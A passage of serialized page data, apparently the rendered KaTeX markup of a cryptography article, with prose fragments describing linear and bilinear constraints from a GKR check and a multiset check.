23,"tag":75,"props":130000,"children":130002},{"className":130001,"style":15324},[15323],[],{"type":23,"tag":75,"props":130004,"children":130006},{"className":130005},[15329,15330,15331,15332],[130007],{"type":23,"tag":75,"props":130008,"children":130010},{"className":130009,"style":124605},[15284,32803,15332],[130011],{"type":29,"value":19913},{"type":23,"tag":75,"props":130013,"children":130015},{"className":130014},[32960],[130016],{"type":29,"value":32963},{"type":23,"tag":75,"props":130018,"children":130020},{"className":130019},[15309],[130021],{"type":23,"tag":75,"props":130022,"children":130024},{"className":130023,"style":129292},[15314],[130025],{"type":23,"tag":75,"props":130026,"children":130027},{},[],{"type":23,"tag":75,"props":130029,"children":130031},{"className":130030,"style":15364},[15363],[],{"type":23,"tag":75,"props":130033,"children":130035},{"className":130034},[15369],[130036],{"type":29,"value":121644},{"type":23,"tag":75,"props":130038,"children":130040},{"className":130039,"style":15364},[15363],[],{"type":23,"tag":75,"props":130042,"children":130044},{"className":130043},[15273],[130045,130049,130054,130063],{"type":23,"tag":75,"props":130046,"children":130048},{"className":130047,"style":15384},[15278],[],{"type":23,"tag":75,"props":130050,"children":130052},{"className":130051},[32932],[130053],{"type":29,"value":643},{"type":23,"tag":75,"props":130055,"children":130057},{"className":130056},[15284,29],[130058],{"type":23,"tag":75,"props":130059,"children":130061},{"className":130060},[15284],[130062],{"type":29,"value":129332},{"type":23,"tag":75,"props":130064,"children":130066},{"className":130065},[32954],[130067],{"type":29,"value":1347},{"type":23,"tag":32,"props":130069,"children":130070},{},[130071,130073,130242,130243,130412],{"type":29,"value":130072},"If we vary ",{"type":23,"tag":71,"props":130074,"children":130076},{"className":130075},[15256,15257],[130077],{"type":23,"tag":75,"props":130078,"children":130080},{"className":130079},[15262],[130081],{"type":23,"tag":75,"props":130082,"children":130084},{"className":130083,"ariaHidden":15268},[15267],[130085,130163],{"type":23,"tag":75,"props":130086,"children":130088},{"className":130087},[15273],[130089,130093,130150,130154,130159],{"type":23,"tag":75,"props":130090,"children":130092},{"className":130091,"style":120352},[15278],[],{"type":23,"tag":75,"props":130094,"children":130096},{"className":130095},[15284],[130097,130102],{"type":23,"tag":75,"props":130098,"children":130100},{"className":130099},[15284,32803],[130101],{"type":29,"value":30499},{"type":23,"tag":75,"props":130103,"children":130105},{"className":130104},[15299],[130106],{"type":23,"tag":75,"props":130107,"children":130109},{"className":130108},[15304,32857],[130110,130139],{"type":23,"tag":75,"props":130111,"children":130113},{"className":130112},[15309],[130114,130134],{"type":23,"tag":75,"props":130115,"children":130117},{"className":130116,"style":103434},[15314],[130118],{"type":23,"tag":75,"props":130119,"children":130120},{"style":103438},[130121,130125],{"type":23,"tag":75,"props":130122,"children":130124},{"className":130123,"style":15324},[15323],[],{"type":23,"tag":75,"props":130126,"children":130128},{"className":130127},[15329,15330,15331,15332],[130129],{"type":23,"tag":75,"props":130130,"children":130132},{"className":130131},[15284,15332],[130133],{"type":29,"value":648},{"type":23,"tag":75,"props":130135,"children":130137},{"className":130136},[32960],[130138],{"type":29,"value":32963},{"type":23,"tag":75,"props":130140,"children":130142},{"className":130141},[15309],[130143],{"type":23,"tag":75,"props":130144,"children":130146},{"className":130145,"style":103465},[15314],[130147],{"type":23,"tag":75,"props":130148,"children":130149},{},[],{"type":23,"tag":75,"props":130151,"children":130153},{"className":130152,"style":15461},[15363],[],{"type":23,"tag":75,"props":130155,"children":130157},{"className":130156},[15466],[130158],{"type":29,"value":212},{"type":23,"tag":75,"props":130160,"children":130162},{"className":130161,"style":15461},[15363],[],{"type":23,"tag":75,"props":130164,"children":130166},{"className":130165},[15273],[130167,130171,130212,130217,130222,130227,130232,130237],{"type":23,"tag":75,"props":130168,"children":130170},{"className":130169,"style":103324},[15278],[],{"type":23,"tag":75,"props":130172,"children":130174},{"className":130173},[15284],[130175,130184,130189,130198,130203],{"type":23,"tag":75,"props":130176,"children":130178},{"className":130177},[15284,29],[130179],{"type":23,"tag":75,"props":130180,"children":130182},{"className":130181},[15284],[130183],{"type":29,"value":104201},{"type":23,"tag":75,"props":130185,"children":130187},{"className":130186,"style":103382},[15284],[130188],{"type":29,"value":14370},{"type":23,"tag":75,"props":130190,"children":130192},{"className":130191},[15284,29],[130193],{"type":23,"tag":75,"props":130194,"children":130196},{"className":130195},[15284],[130197],{"type":29,"value":129056},{"type":23,"tag":75,"props":130199,"children":130201},{"className":130200,"style":103382},[15284],[130202],{"type":29,"value":14370},{"type":23,"tag":75,"props":130204,"children":130206},{"className":130205},[15284,29],[130207],{"type":23,"tag":75,"props":130208,"children":130210},{"className":130209},[15284],[130211],{"type":29,"value":129075},{"type":23,"tag":75,"props":130213,"children":130215},{"className":130214},[32932],[130216],{"type":29,"value":814},{"type":23,"tag":75,"props":130218,"children":130220},{"className":130219},[15284],[130221],{"type":29,"value":648},{"type":23,"tag":75,"props":130223,"children":130225},{"className":130224},[32954],[130226],{"type":29,"value":1610},{"type":23,"tag":75,"props":130228,"children":130230},{"className":130229},[32932],[130231],{"type":29,"value":814},{"type":23,"tag":75,"props":130233,"children":130235},{"className":130234},[15284],[130236],{"type":29,"value":648},{"type":23,"tag":75,"props":130238,"children":130240},{"className":130239},[32954],[130241],{"type":29,"value":1610},{"type":29,"value":2721},{"type":23,"tag":71,"props":130244,"children":130246},{"className":130245},[15256,15257],[130247],{"type":23,"tag":75,"props":130248,"children":130250},{"className":130249},[15262],[130251],{"type":23,"tag":75,"props":130252,"children":130254},{"className":130253,"ariaHidden":15268},[15267],[130255,130333],{"type":23,"tag":75,"props":130256,"children":130258},{"className":130257},[15273],[130259,130263,130320,130324,130329],{"type":23,"tag":75,"props":130260,"children":130262},{"className":130261,"style":120352},[15278],[],{"type":23,"tag":75,"props":130264,"children":130266},{"className":130265},[15284],[130267,130272],{"type":23,"tag":75,"props":130268,"children":130270},{"className":130269},[15284,32803],[130271],{"type":29,"value":30499},{"type":23,"tag":75,"props":130273,"children":130275},{"className":130274},[15299],[130276],{"type":23,"tag":75,"props":130277,"children":130279},{"className":130278},[15304,32857],[130280,130309],{"type":23,"tag":75,"props":130281,"children":130283},{"className":130282},[15309],[130284,130304],{"type":23,"tag":75,"props":130285,"children":130287},{"className":130286,"style":103434},[15314],[130288],{"type":23,"tag":75,"props":130289,"children":130290},{"style":103438},[130291,130295],{"type":23,"tag":75,"props":130292,"children":130294},{"className":130293,"style":15324},[15323],[],{"type":23,"tag":75,"props":130296,"children":130298},{"className":130297},[15329,15330,15331,15332],[130299],{"type":23,"tag":75,"props":130300,"children":130302},{"className":130301},[15284,15332],[130303],{"type":29,"value":7867},{"type":23,"tag":75,"props":130305,"children":130307},{"className":130306},[32960],[130308],{"type":29,"value":32963},{"type":23,"tag":75,"props":130310,"children":130312},{"className":130311},[15309],[130313],{"type":23,"tag":75,"props":130314,"children":130316},{"className":130315,"style":103465},[15314],[130317],{"type":23,"tag":75,"props":130318,"children":130319},{},[],{"type":23,"tag":75,"props":130321,"children":130323},{"className":130322,"style":15461},[15363],[],{"type":23,"tag":75,"props":130325,"children":130327},{"className":130326},[15466],[130328],{"type":29,"value":212},{"type":23,"tag":75,"props":130330,"children":130332},{"className":130331,"style":15461},[15363],[],{"type":23,"tag":75,"props":130334,"children":130336},{"className":130335},[15273],[130337,130341,130382,130387,130392,130397,130402,130407],{"type":23,"tag":75,"props":130338,"children":130340},{"className":130339,"style":103324},[15278],[],{"type":23,"tag":75,"props":130342,"children":130344},{"className":130343},[15284],[130345,130354,130359,130368,130373],{"type":23,"tag":75,"props":130346,"children":130348},{"className":130347},[15284,29],[130349],{"type":23,"tag":75,"props":130350,"children":130352},{"className":130351},[15284],[130353],{"type":29,"value":104201},{"type":23,"tag":75,"props":130355,"children":130357},{"className":130356,"style":103382},[15284],[130358],{"type":29,"value":14370},{"type":23,"tag":75,"props":130360,"children":130362},{"className":130361},[15284,29],[130363],{"type":23,"tag":75,"props":130364,"children":130366},{"className":130365},[15284],[130367],{"type":29,"value":129056},{"type":23,"tag":75,"props":130369,"children":130371},{"className":130370,"style":103382},[15284],[130372],{"type":29,"value":14370},{"type":23,"tag":75,"props":130374,"children":130376},{"className":130375},[15284,29],[130377],{"type":23,"tag":75,"props":130378,"children":130380},{"className":130379},[15284],[130381],{"type":29,"value":129075},{"type":23,"tag":75,"props":130383,"children":130385},{"className":130384},[32932],[130386],{"type":29,"value":814},{"type":23,"tag":75,"props":130388,"children":130390},{"className":130389},[15284],[130391],{"type":29,"value":648},{"type":23,"tag":75,"props":130393,"children":130395},{"className":130394},[32954],[130396],{"type":29,"value":1610},{"type":23,"tag":75,"props":130398,"children":130400},{"className":130399},[32932],[130401],{"type":29,"value":814},{"type":23,"tag":75,"props":130403,"children":130405},{"className":130404},[15284],[130406],{"type":29,"value":7867},{"type":23,"tag":75,"props":130408,"children":130410},{"className":130409},[32954],[130411],{"type":29,"value":1610},{"type":29,"value":130413}," we get the following constraint:",{"type":23,"tag":32,"props":130415,"children":130416},{},[130417],{"type":23,"tag":71,"props":130418,"children":130420},{"className":130419},[15256,15257],[130421],{"type":23,"tag":75,"props":130422,"children":130424},{"className":130423},[15262],[130425],{"type":23,"tag":75,"props":130426,"children":130428},{"className":130427,"ariaHidden":15268},[15267],[130429,130508,130586,130627],{"type":23,"tag":75,"props":130430,"children":130432},{"className":130431},[15273],[130433,130438,130495,130499,130504],{"type":23,"tag":75,"props":130434,"children":130437},{"className":130435,"style":130436},[15278],"height:0.5945em;vertical-align:-0.15em;",[],{"type":23,"tag":75,"props":130439,"children":130441},{"className":130440},[15284],[130442,130447],{"type":23,"tag":75,"props":130443,"children":130445},{"className":130444},[15284,32803],[130446],{"type":29,"value":30499},{"type":23,"tag":75,"props":130448,"children":130450},{"className":130449},[15299],[130451],{"type":23,"tag":75,"props":130452,"children":130454},{"className":130453},[15304,32857],[130455,130484],{"type":23,"tag":75,"props":130456,"children":130458},{"className":130457},[15309],[130459,130479],{"type":23,"tag":75,"props":130460,"children":130462},{"className":130461,"style":103434},[15314],[130463],{"type":23,"tag":75,"props":130464,"children":130465},{"style":103438},[130466,130470],{"type":23,"tag":75,"props":130467,"children":130469},{"className":130468,"style":15324},[15323],[],{"type":23,"tag":75,"props":130471,"children":130473},{"className":130472},[15329,15330,15331,15332],[130474],{"type":23,"tag":75,"props":130475,"children":130477},{"className":130476},[15284,15332],[130478],{"type":29,"value":648},{"type":23,"tag":75,"props":130480,"children":130482},{"className":130481},[32960],[130483],{"type":29,"value":32963},{"type":23,"tag":75,"props":130485,"children":130487},{"className":130486},[15309],[130488],{"type":23,"tag":75,"props":130489,"children":130491},{"className":130490,"style":103465},[15314],[130492],{"type":23,"tag":75,"props":130493,"children":130494},{},[],{"type":23,"tag":75,"props":130496,"children":130498},{"className":130497,"style":15364},[15363],[],{"type":23,"tag":75,"props":130500,"children":130502},{"className":130501},[15369],[130503],{"type":29,"value":121644},{"type":23,"tag":75,"props":130505,"children":130507},{"className":130506,"style":15364},[15363],[],{"type":23,"tag":75,"props":130509,"children":130511},{"className":130510},[15273],[130512,130516,130573,130577,130582],{"type":23,"tag":75,"props":130513,"children":130515},{"className":130514,"style":130436},[15278],[],{"type":23,"tag":75,"props":130517,"children":130519},{"className":130518},[15284],[130520,130525],{"type":23,"tag":75,"props":130521,"children":130523},{"className":130522},[15284,32803],[130524],{"type":29,"value":30499},{"type":23,"tag":75,"props":130526,"children":130528},{"className":130527},[15299],[130529],{"type":23,"tag":75,"props":130530,"children":130532},{"className":130531},[15304,32857],[130533,130562],{"type":23,"tag":75,"props":130534,"children":130536},{"className":130535},[15309],[130537,130557],{"type":23,"tag":75,"props":130538,"children":130540},{"className":130539,"style":103434},[15314],[130541],{"type":23,"tag":75,"props":130542,"children":130543},{"style":103438},[130544,130548],{"type":23,"tag":75,"props":130545,"children":130547},{"className":130546,"style":15324},[15323],[],{"type":23,"tag":75,"props":130549,"children":130551},{"className":130550},[15329,15330,15331,15332],[130552],{"type":23,"tag":75,"props":130553,"children":130555},{"className":130554},[15284,15332],[130556],{"type":29,"value":7867},{"type":23,"tag":75,"props":130558,"children":130560},{"className":130559},[32960],[130561],{"type":29,"value":32963},{"type":23,"tag":75,"props":130563,"children":130565},{"className":130564},[15309],[130566],{"type":23,"tag":75,"props":130567,"children":130569},{"className":130568,"style":103465},[15314],[130570],{"type":23,"tag":75,"props":130571,"children":130572},{},[],{"type":23,"tag":75,"props":130574,"children":130576},{"className":130575,"style":15364},[15363],[],{"type":23,"tag":75,"props":130578,"children":130580},{"className":130579},[15369],[130581],{"type":29,"value":121644},{"type":23,"tag":75,"props":130583,"children":130585},{"className":130584,"style":15364},[15363],[],{"type":23,"tag":75,"props":130587,"children":130589},{"className":130588},[15273],[130590,130594,130599,130609,130614,130618,130623],{"type":23,"tag":75,"props":130591,"children":130593},{"className":130592,"style":15384},[15278],[],{"type":23,"tag":75,"props":130595,"children":130597},{"className":130596},[32932],[130598],{"type":29,"value":643},{"type":23,"tag":75,"props":130600,"children":130602},{"className":130601},[15284,29],[130603],{"type":23,"tag":75,"props":130604,"children":130606},{"className":130605},[15284],[130607],{"type":29,"value":130608},"rest of product",{"type":23,"tag":75,"props":130610,"children":130612},{"className":130611},[32954],[130613],{"type":29,"value":1347},{"type":23,"tag":75,"props":130615,"children":130617},{"className":130616,"style":15461},[15363],[],{"type":23,"tag":75,"props":130619,"children":130621},{"className":130620},[15466],[130622],{"type":29,"value":212},{"type":23,"tag":75,"props":130624,"children":130626},{"className":130625,"style":15461},[15363],[],{"type":23,"tag":75,"props":130628,"children":130630},{"className":130629},[15273],[130631,130635],{"type":23,"tag":75,"props":130632,"children":130634},{"className":130633,"style":125402},[15278],[],{"type":23,"tag":75,"props":130636,"children":130638},{"className":130637},[15284,29],[130639],{"type":23,"tag":75,"props":130640,"children":130642},{"className":130641},[15284],[130643],{"type":29,"value":125413},{"type":23,"tag":32,"props":130645,"children":130646},{},[130647,130649,130802],{"type":29,"value":130648},"This is bilinear in ",{"type":23,"tag":71,"props":130650,"children":130652},{"className":130651},[15256,15257],[130653],{"type":23,"tag":75,"props":130654,"children":130656},{"className":130655},[15262],[130657],{"type":23,"tag":75,"props":130658,"children":130660},{"className":130659,"ariaHidden":15268},[15267],[130661],{"type":23,"tag":75,"props":130662,"children":130664},{"className":130663},[15273],[130665,130669,130674,130731,130736,130740,130797],{"type":23,"tag":75,"props":130666,"children":130668},{"className":130667,"style":15384},[15278],[],{"type":23,"tag":75,"props":130670,"children":130672},{"className":130671},[32932],[130673],{"type":29,"value":643},{"type":23,"tag":75,"props":130675,"children":130677},{"className":130676},[15284],[130678,130683],{"type":23,"tag":75,"props":130679,"children":130681},{"className":130680},[15284,32803],[130682],{"type":29,"value":30499},{"type":23,"tag":75,"props":130684,"children":130686},{"className":130685},[15299],[130687],{"type":23,"tag":75,"props":130688,"children":130690},{"className":130689},[15304,32857],[130691,130720],{"type":23,"tag":75,"props":130692,"children":130694},{"className":130693},[15309],[130695,130715],{"type":23,"tag":75,"props":130696,"children":130698},{"className":130697,"style":103434},[15314],[130699],{"type":23,"tag":75,"props":130700,"children":130701},{"style":103438},[130702,130706],{"type":23,"tag":75,"props":130703,"children":130705},{"className":130704,"style":15324},[15323],[],{"type":23,"tag":75,"props":130707,"children":130709},{"className":130708},[15329,15330,15331,15332],[130710],{"type":23,"tag":75,"props":130711,"children":130713},{"className":130712},[15284,15332],[130714],{"type":29,"value":648},{"type":23,"tag":75,"props":130716,"children":130718},{"className":130717},[32960],[130719],{"type":29,"value":32963},{"type":23,"tag":75,"props":130721,"children":130723},{"className":130722},[15309],[130724],{"type":23,"tag":75,"props":130725,"children":130727},{"className":130726,"style":103465},[15314],[130728],{"type":23,"tag":75,"props":130729,"children":130730},{},[],{"type":23,"tag":75,"props":130732,"children":130734},{"className":130733},[15395],[130735],{"type":29,"value":15398},{"type":23,"tag":75,"props":130737,"children":130739},{"className":130738,"style":15402},[15363],[],{"type":23,"tag":75,"props":130741,"children":130743},{"className":130742},[15284],[130744,130749],{"type":23,"tag":75,"props":130745,"children":130747},{"className":130746},[15284,32803],[130748],{"type":29,"value":30499},{"type":23,"tag":75,"props":130750,"children":130752},{"className":130751},[15299],[130753],{"type":23,"tag":75,"props":130754,"children":130756},{"className":130755},[15304,32857],[130757,130786],{"type":23,"tag":75,"props":130758,"children":130760},{"className":130759},[15309],[130761,130781],{"type":23,"tag":75,"props":130762,"children":130764},{"className":130763,"style":103434},[15314],[130765],{"type":23,"tag":75,"props":130766,"children":130767},{"style":103438},[130768,130772],{"type":23,"tag":75,"props":130769,"children":130771},{"className":130770,"style":15324},[15323],[],{"type":23,"tag":75,"props":130773,"children":130775},{"className":130774},[15329,15330,15331,15332],[130776],{"type":23,"tag":75,"props":130777,"children":130779},{"className":130778},[15284,15332],[130780],{"type":29,"value":7867},{"type":23,"tag":75,"props":130782,"children":130784},{"className":130783},[32960],[130785],{"type":29,"value":32963},{"type":23,"tag":75,"props":130787,"children":130789},{"className":130788},[15309],[130790],{"type":23,"tag":75,"props":130791,"children":130793},{"className":130792,"style":103465},[15314],[130794],{"type":23,"tag":75,"props":130795,"children":130796},{},[],{"type":23,"tag":75,"props":130798,"children":130800},{"className":130799},[32954],[130801],{"type":29,"value":1347},{"type":29,"value":557},{"type":23,"tag":32,"props":130804,"children":130805},{},[130806,130808,130961],{"type":29,"value":130807},"We have two unknowns ",{"type":23,"tag":71,"props":130809,"children":130811},{"className":130810},[15256,15257],[130812],{"type":23,"tag":75,"props":130813,"children":130815},{"className":130814},[15262],[130816],{"type":23,"tag":75,"props":130817,"children":130819},{"className":130818,"ariaHidden":15268},[15267],[130820],{"type":23,"tag":75,"props":130821,"children":130823},{"className":130822},[15273],[130824,130828,130833,130890,130895,130899,130956],{"type":23,"tag":75,"props":130825,"children":130827},{"className":130826,"style":15384},[15278],[],{"type":23,"tag":75,"props":130829,"children":130831},{"className":130830},[32932],[130832],{"type":29,"value":643},{"type":23,"tag":75,"props":130834,"children":130836},{"className":130835},[15284],[130837,130842],{"type":23,"tag":75,"props":130838,"children":130840},{"className":130839},[15284,32803],[130841],{"type":29,"value":30499},{"type":23,"tag":75,"props":130843,"children":130845},{"className":130844},[15299],[130846],{"type":23,"tag":75,"props":130847,"children":130849},{"className":130848},[15304,32857],[130850,130879],{"type":23,"tag":75,"props":130851,"children":130853},{"className":130852},[15309],[130854,130874],{"type":23,"tag":75,"props":130855,"children":130857},{"className":130856,"style":103434},[15314],[130858],{"type":23,"tag":75,"props":130859,"children":130860},{"style":103438},[130861,130865],{"type":23,"tag":75,"props":130862,"children":130864},{"className":130863,"style":15324},[15323],[],{"type":23,"tag":75,"props":130866,"children":130868},{"className":130867},[15329,15330,15331,15332],[130869],{"type":23,"tag":75,"props":130870,"children":130872},{"className":130871},[15284,15332],[130873],{"type":29,"value":648},{"type":23,"tag":75,"props":130875,"children":130877},{"className":130876},[32960],[130878],{"type":29,"value":32963},{"type":23,"tag":75,"props":130880,"children":130882},{"className":130881},[15309],[130883],{"type":23,"tag":75,"props":130884,"children":130886},{"className":130885,"style":103465},[15314],[130887],{"type":23,"tag":75,"props":130888,"children":130889},{},[],{"type":23,"tag":75,"props":130891,"children":130893},{"className":130892},[15395],[130894],{"type":29,"value":15398},{"type":23,"tag":75,"props":130896,"children":130898},{"className":130897,"style":15402},[15363],[],{"type":23,"tag":75,"props":130900,"children":130902},{"className":130901},[15284],[130903,130908],{"type":23,"tag":75,"props":130904,"children":130906},{"className":130905},[15284,32803],[130907],{"type":29,"value":30499},{"type":23,"tag":75,"props":130909,"children":130911},{"className":130910},[15299],[130912],{"type":23,"tag":75,"props":130913,"children":130915},{"className":130914},[15304,32857],[130916,130945],{"type":23,"tag":75,"props":130917,"children":130919},{"className":130918},[15309],[130920,130940],{"type":23,"tag":75,"props":130921,"children":130923},{"className":130922,"style":103434},[15314],[130924],{"type":23,"tag":75,"props":130925,"children":130926},{"style":103438},[130927,130931],{"type":23,"tag":75,"props":130928,"children":130930},{"className":130929,"style":15324},[15323],[],{"type":23,"tag":75,"props":130932,"children":130934},{"className":130933},[15329,15330,15331,15332],[130935],{"type":23,"tag":75,"props":130936,"children":130938},{"className":130937},[15284,15332],[130939],{"type":29,"value":7867},{"type":23,"tag":75,"props":130941,"children":130943},{"className":130942},[32960],[130944],{"type":29,"value":32963},{"type":23,"tag":75,"props":130946,"children":130948},{"className":130947},[15309],[130949],{"type":23,"tag":75,"props":130950,"children":130952},{"className":130951,"style":103465},[15314],[130953],{"type":23,"tag":75,"props":130954,"children":130955},{},[],{"type":23,"tag":75,"props":130957,"children":130959},{"className":130958},[32954],[130960],{"type":29,"value":1347},{"type":29,"value":130962}," and two equations, one linear and one bilinear:",{"type":23,"tag":2797,"props":130964,"children":130965},{},[130966,131293],{"type":23,"tag":2801,"props":130967,"children":130968},{},[130969,130971],{"type":29,"value":130970},"Linear (from GKR): ",{"type":23,"tag":71,"props":130972,"children":130974},{"className":130973},[15256,15257],[130975],{"type":23,"tag":75,"props":130976,"children":130978},{"className":130977},[15262],[130979],{"type":23,"tag":75,"props":130980,"children":130982},{"className":130981,"ariaHidden":15268},[15267],[130983,131119,131254,131280],{"type":23,"tag":75,"props":130984,"children":130986},{"className":130985},[15273],[130987,130992,131049,131106,131110,131115],{"type":23,"tag":75,"props":130988,"children":130991},{"className":130989,"style":130990},[15278],"height:0.7333em;vertical-align:-0.15em;",[],{"type":23,"tag":75,"props":130993,"children":130995},{"className":130994},[15284],[130996,131001],{"type":23,"tag":75,"props":130997,"children":130999},{"className":130998},[15284,32803],[131000],{"type":29,"value":940},{"type":23,"tag":75,"props":131002,"children":131004},{"className":131003},[15299],[131005],{"type":23,"tag":75,"props":131006,"children":131008},{"className":131007},[15304,32857],[131009,131038],{"type":23,"tag":75,"props":131010,"children":131012},{"className":131011},[15309],[131013,131033],{"type":23,"tag":75,"props":131014,"children":131016},{"className":131015,"style":103434},[15314],[131017],{"type":23,"tag":75,"props":131018,"children":131019},{"style":103438},[131020,131024],{"type":23,"tag":75,"props":131021,"children":131023},{"className":131022,"style":15324},[15323],[],{"type":23,"tag":75,"props":131025,"children":131027},{"className":131026},[15329,15330,15331,15332],[131028],{"type":23,"tag":75,"props":131029,"children":131031},{"className":131030},[15284,15332],[131032],{"type":29,"value":648},{"type":23,"tag":75,"props":131034,"children":131036},{"className":131035},[32960],[131037],{"type":29,"value":32963},{"type":23,"tag":75,"props":131039,"children":131041},{"className":131040},[15309],[131042],{"type":23,"tag":75,"props":131043,"children":131045},{"className":131044,"style":103465},[15314],[131046],{"type":23,"tag":75,"props":131047,"children":131048},{},[],{"type":23,"tag":75,"props":131050,"children":131052},{"className":131051},[15284],[131053,131058],{"type":23,"tag":75,"props":131054,"children":131056},{"className":131055},[15284,32803],[131057],{"type":29,"value":30499},{"type":23,"tag":75,"props":131059,"children":131061},{"className":131060},[15299],[131062],{"type":23,"tag":75,"props":131063,"children":131065},{"className":131064},[15304,32857],[131066,131095],{"type":23,"tag":75,"props":131067,"children":131069},{"className":131068},[15309],[131070,131090],{"type":23,"tag":75,"props":131071,"children":131073},{"className":131072,"style":103434},[15314],[131074],{"type":23,"tag":75,"props":131075,"children":131076},{"style":103438},[131077,131081],{"type":23,"tag":75,"props":131078,"children":131080},{"className":131079,"style":15324},[15323],[],{"type":23,"tag":75,"props":131082,"children":131084},{"className":131083},[15329,15330,15331,15332],[131085],{"type":23,"tag":75,"props":131086,"children":131088},{"className":131087},[15284,15332],[131089],{"type":29,"value":648},{"type":23,"tag":75,"props":131091,"children":131093},{"className":131092},[32960],[131094],{"type":29,"value":32963},{"type":23,"tag":75,"props":131096,"children":131098},{"className":131097},[15309],[131099],{"type":23,"tag":75,"props":131100,"children":131102},{"className":131101,"style":103465},[15314],[131103],{"type":23,"tag":75,"props":131104,"children":131105},{},[],{"type":23,"tag":75,"props":131107,"children":131109},{"className":131108,"style":15364},[15363],[],{"type":23,"tag":75,"props":131111,"children":131113},{"className":131112},[15369],[131114],{"type":29,"value":7862},{"type":23,"tag":75,"props":131116,"children":131118},{"className":131117,"style":15364},[15363],[],{"type":23,"tag":75,"props":131120,"children":131122},{"className":131121},[15273],[131123,131127,131184,131241,131245,131250],{"type":23,"tag":75,"props":131124,"children":131126},{"className":131125,"style":130990},[15278],[],{"type":23,"tag":75,"props":131128,"children":131130},{"className":131129},[15284],[131131,131136],{"type":23,"tag":75,"props":131132,"children":131134},{"className":131133},[15284,32803],[131135],{"type":29,"value":940},{"type":23,"tag":75,"props":131137,"children":131139},{"className":131138},[15299],[131140],{"type":23,"tag":75,"props":131141,"children":131143},{"className":131142},[15304,32857],[131144,131173],{"type":23,"tag":75,"props":131145,"children":131147},{"className":131146},[15309],[131148,131168],{"type":23,"tag":75,"props":131149,"children":131151},{"className":131150,"style":103434},[15314],[131152],{"type":23,"tag":75,"props":131153,"children":131154},{"style":103438},[131155,131159],{"type":23,"tag":75,"props":131156,"children":131158},{"className":131157,"style":15324},[15323],[],{"type":23,"tag":75,"props":131160,"children":131162},{"className":131161},[15329,15330,15331,15332],[131163],{"type":23,"tag":75,"props":131164,"children":131166},{"className":131165},[15284,15332],[131167],{"type":29,"value":7867},{"type":23,"tag":75,"props":131169,"children":131171},{"className":131170},[32960],[131172],{"type":29,"value":32963},{"type":23,"tag":75,"props":131174,"children":131176},{"className":131175},[15309],[131177],{"type":23,"tag":75,"props":131178,"children":131180},{"className":131179,"style":103465},[15314],[131181],{"type":23,"tag":75,"props":131182,"children":131183},{},[],{"type":23,"tag":75,"props":131185,"children":131187},{"className":131186},[15284],[131188,131193],{"type":23,"tag":75,"props":131189,"children":131191},{"className":131190},[15284,32803],[131192],{"type":29,"value":30499},{"type":23,"tag":75,"props":131194,"children":131196},{"className":131195},[15299],[131197],{"type":23,"tag":75,"props":131198,"children":131200},{"className":131199},[15304,32857],[131201,131230],{"type":23,"tag":75,"props":131202,"children":131204},{"className":131203},[15309],[131205,131225],{"type":23,"tag":75,"props":131206,"children":131208},{"className":131207,"style":103434},[15314],[131209],{"type":23,"tag":75,"props":131210,"children":131211},{"style":103438},[131212,131216],{"type":23,"tag":75,"props":131213,"children":131215},{"className":131214,"style":15324},[15323],[],{"type":23,"tag":75,"props":131217,"children":131219},{"className":131218},[15329,15330,15331,15332],[131220],{"type":23,"tag":75,"props":131221,"children":131223},{"className":131222},[15284,15332],[131224],{"type":29,"value":7867},{"type":23,"tag":75,"props":131226,"children":131228},{"className":131227},[32960],[131229],{"type":29,"value":32963},{"type":23,"tag":75,"props":131231,"children":131233},{"className":131232},[15309],[131234],{"type":23,"tag":75,"props":131235,"children":131237},{"className":131236,"style":103465},[15314],[131238],{"type":23,"tag":75,"props":131239,"children":131240},{},[],{"type":23,"tag":75,"props":131242,"children":131244},{"className":131243,"style":15364},[15363],[],{"type":23,"tag":75,"props":131246,"children":131248},{"className":131247},[15369],[131249],{"type":29,"value":7862},{"type":23,"tag":75,"props":131251,"children":131253},{"className":131252,"style":15364},[15363],[],{"type":23,"tag":75,"props":131255,"children":131257},{"className":131256},[15273],[131258,131262,131267,131271,131276],{"type":23,"tag":75,"props":131259,"children":131261},{"className":131260,"style":121223},[15278],[],{"type":23,"tag":75,"props":131263,"children":131265},{"className":131264},[15284,32803],[131266],{"type":29,"value":14432},{"type":23,"tag":75,"props":131268,"children":131270},{"className":131269,"style":15461},[15363],[],{"type":23,"tag":75,"props":131272,"children":131274},{"className":131273},[15466],[131275],{"type":29,"value":212},{"type":23,"tag":75,"props":131277,"children":131279},{"className":131278,"style":15461},[15363],[],{"type":23,"tag":75,"props":131281,"children":131283},{"className":131282},[15273],[131284,131288],{"type":23,"tag":75,"props":131285,"children":131287},{"className":131286,"style":104413},[15278],[],{"type":23,"tag":75,"props":131289,"children":131291},{"className":131290},[15284],[131292],{"type":29,"value":648},{"type":23,"tag":2801,"props":131294,"children":131295},{},[131296,131298],{"type":29,"value":131297},"Bilinear (from multiset): ",{"type":23,"tag":71,"props":131299,"children":131301},{"className":131300},[15256,15257],[131302],{"type":23,"tag":75,"props":131303,"children":131305},{"className":131304},[15262],[131306],{"type":23,"tag":75,"props":131307,"children":131309},{"className":131308,"ariaHidden":15268},[15267],[131310,131336,131414,131492,131518],{"type":23,"tag":75,"props":131311,"children":131313},{"className":131312},[15273],[131314,131318,131323,131327,131332],{"type":23,"tag":75,"props":131315,"children":131317},{"className":131316,"style":103297},[15278],[],{"type":23,"tag":75,"props":131319,"children":131321},{"className":131320,"style":104811},[15284,32803],[131322],{"type":29,"value":13080},{"type":23,"tag":75,"props":131324,"children":131326},{"className":131325,"style":15364},[15363],[],{"type":23,"tag":75,"props":131328,"children":131330},{"className":131329},[15369],[131331],{"type":29,"value":121644},{"type":23,"tag":75,"props":131333,"children":131335},{"className":131334,"style":15364},[15363],[],{"type":23,"tag":75,"props":131337,"children":131339},{"className":131338},[15273],[131340,131344,131401,131405,131410],{"type":23,"tag":75,"props":131341,"children":131343},{"className":131342,"style":130436},[15278],[],{"type":23,"tag":75,"props":131345,"children":131347},{"className":131346},[15284],[131348,131353],{"type":23,"tag":75,"props":131349,"children":131351},{"className":131350},[15284,32803],[131352],{"type":29,"value":30499},{"type":23,"tag":75,"props":131354,"children":131356},{"className":131355},[15299],[131357],{"type":23,"tag":75,"props":131358,"children":131360},{"className":131359},[15304,32857],[131361,131390],{"type":23,"tag":75,"props":131362,"children":131364},{"className":131363},[15309],[131365,131385],{"type":23,"tag":75,"props":131366,"children":131368},{"className":131367,"style":103434},[15314],[131369],{"type":23,"tag":75,"props":131370,"children":131371},{"style":103438},[131372,131376],{"type":23,"tag":75,"props":131373,"children":131375},{"className":131374,"style":15324},[15323],[],{"type":23,"tag":75,"props":131377,"children":131379},{"className":131378},[15329,15330,15331,15332],[131380],{"t